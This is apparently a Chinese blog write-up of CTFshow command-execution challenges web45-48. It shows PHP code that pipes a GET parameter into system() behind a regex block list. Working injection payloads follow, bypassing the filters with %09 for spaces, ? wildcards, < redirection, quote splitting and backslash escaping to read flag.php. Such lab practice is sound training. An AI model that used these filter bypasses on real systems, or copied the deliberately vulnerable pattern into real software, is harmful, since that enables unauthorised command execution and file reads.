CTFshow系列——命令执行web45-48

跟上昨天的步伐,今天继续做命令执行的题目(现在才做了一半,距离结束还早得很),不要心急

文章目录


前言

在做题之前给大家看昨天群里看到一张挺有意思的图片,虽然是调侃,但也确实是一部分正在学习的人的心理状态:

看到这张图,我也思考了一下,只能说:网络安全也是有门槛的(包括人脉(参加重保,HVV等需要),技术等),要想学到真正的东西你必须得舍得往自己身上投资;

然后,就是不要只做个脚本小子,用用工具。一定要有一门经得住考验的能力,比如网络编程的能力;


Web45

话不多说,也是直接开始:

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

先看看代码,相比与Web44,第一眼还没注意到有什么区别:

其实就是多了 空格 的过滤:

  • 空格可以用 (%0a %09 %0c %0d)替代;
URL编码 十六进制值 对应ASCII字符 字符含义
%0A 0A 换行符(LF) Line Feed,用于换行
%09 09 制表符(Tab) Horizontal Tab,用于缩进
%0C 0C 换页符(FF) Form Feed,用于分页
%0D 0D 回车符(CR) Carriage Return,用于回车

补充说明:

  1. URL编码的作用

    URL中不允许直接包含不可打印的控制字符(如换行、制表符等)或特殊字符,因此需要通过"%+十六进制值"的形式编码,确保数据在网络传输中不被误解析。

  2. 常见场景

    这些编码多出现在表单提交、URL参数传递或文本数据序列化中。例如,用户在输入框中换行(LF)或按Tab键(Tab),提交后会被自动编码为%0A%09

  3. CR与LF的区别

    • %0D(CR):回车,早期用于光标回到行首。
    • %0A(LF):换行,用于光标下移一行。
    • 在Windows系统中,文本换行通常是CR+LF(即%0D%0A);而Unix/Linux系统中仅用LF%0A)。

如果在实际使用中遇到这些编码,可以通过URL解码工具还原为原始字符,方便理解和处理数据。


所以,直接上payload:

bash 复制代码
# %0a不管用,还是%09好用
?c=tac%09fla*||ls

# 查看源代码
?c=nl%09fla?.php||ls
?c=head%09-n%0920%09fla*%09||ls
?c=tail%09-n%0920%09fla*%09||ls
?c=more%09fla*%09||ls
?c=less%09fla*||ls
  • 注意:
    (这里为了方便,我用Notepad ++对空格进行了替换,不然手动的话太累了)

Web46

先看代码:

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

发现这次多了 数字[0-9]$* 的过滤:

  • 影响
    • 不能用 fla*等通配符来匹配flag.php文件
    • 不能用 (%0a %09 %0c %0d)替代空格

那么除了上述两种,我们还有什么方法来替代空格匹配flag.php文件 呢?

有的兄弟,那能没有吗

在当前的过滤规则下(禁止空格、数字、$* 等),可以通过以下方式替代空格和匹配 flag.php 文件:

一、替代空格的方法

Linux 命令行中,除了普通空格,还有一些特殊字符或编码可以作为参数分隔符,且未被当前规则过滤:

  • <> 重定向符号(间接替代)
    若命令需要读取文件,可利用重定向符号省略空格,例如 tac<flag.php(无需空格,直接连接命令和文件)。

二、匹配 flag.php 文件的方法

由于 * 被过滤,可使用 ? 通配符 (匹配单个字符)来替代,因为过滤规则未禁止 ?

  • flag.php 的结构是 f+l+a+g+.+p+h+p,其中第4个字符是 g,可用 fla? 匹配 flag? 匹配单个字符 g),完整文件名可写为 fla?.php

思路总结

  • 替代空格 :利用 shell 支持的重定向符号 < 省略空格。
  • 匹配文件 :用 ? 通配符(匹配单个字符)替代被禁的 *,精准匹配 flag.php 的结构。
bash 复制代码
# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||

# 查看源代码
?c=nl%09fla?.php||ls
?c=more%09fla?.php||ls
?c=less%09fla?.php||ls

当然,有成功自然也有失败的:

bash 复制代码
# 失败的payload
?c=tac{IFS}fla?.php|| # {IFS}也是可以用来替换空格的
?c=tac<>fla?.php|| # <>也可以
?c=tac<fla?.php|| 

--

Web47

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析代码,真是怕什么来什么,直接把我们上一题的payload封的差不多了;

但好在,还是有一点的:

bash 复制代码
# payload
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||

WP另一种方法

看了别人的WP,发现还有一种方法,可以用\来转义进行绕过:

bash 复制代码
# 查看源代码
?c=c\at<fl\ag.php||
  • 绕过原理:
  • 这个payload ?c=c\at<fl\ag.php 可以绕过过滤,原理如下:

1. 核心绕过逻辑:利用 shell 转义符 \ 拆分敏感词

在 Linux shell 中,反斜杠 \转义字符,作用是取消后续字符的特殊含义,或让被拆分的字符拼接为完整命令/文件名。

当 payload 中的 c\atfl\ag.php 被 shell 解析时:

  • c\at 会被还原为 cat(反斜杠被移除,c+at 拼接为完整命令)
  • fl\ag.php 会被还原为 flag.php(反斜杠被移除,fl+ag.php 拼接为完整文件名)

2. 绕过正则过滤的关键

而 payload 中:

  • c\at 字符串中实际是 c+\+a+t不包含连续的 cat 子串 ,因此不会被正则匹配到 cat
  • fl\ag.php 字符串中是 fl+\+a+g.php不包含连续的 flag 子串 ,因此不会被正则匹配到 flag
  • 其他字符(如 < 用于重定向,无空格、数字等被禁字符)均符合过滤规则。

Web48

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

好家伙,是遇到最终boss了吗,这么多过滤;

不过好在tac \ < .这些没有被过滤,所以也不解释了,直接上payload:

bash 复制代码
?c=tac%09fla?.php||
?c=tac<f''lag.php||
?c=tac<fla%27%27g.php||

# 查看源代码
?c=c\at<fl\ag.php||

总结

今天内容先到此为止,在精不在多。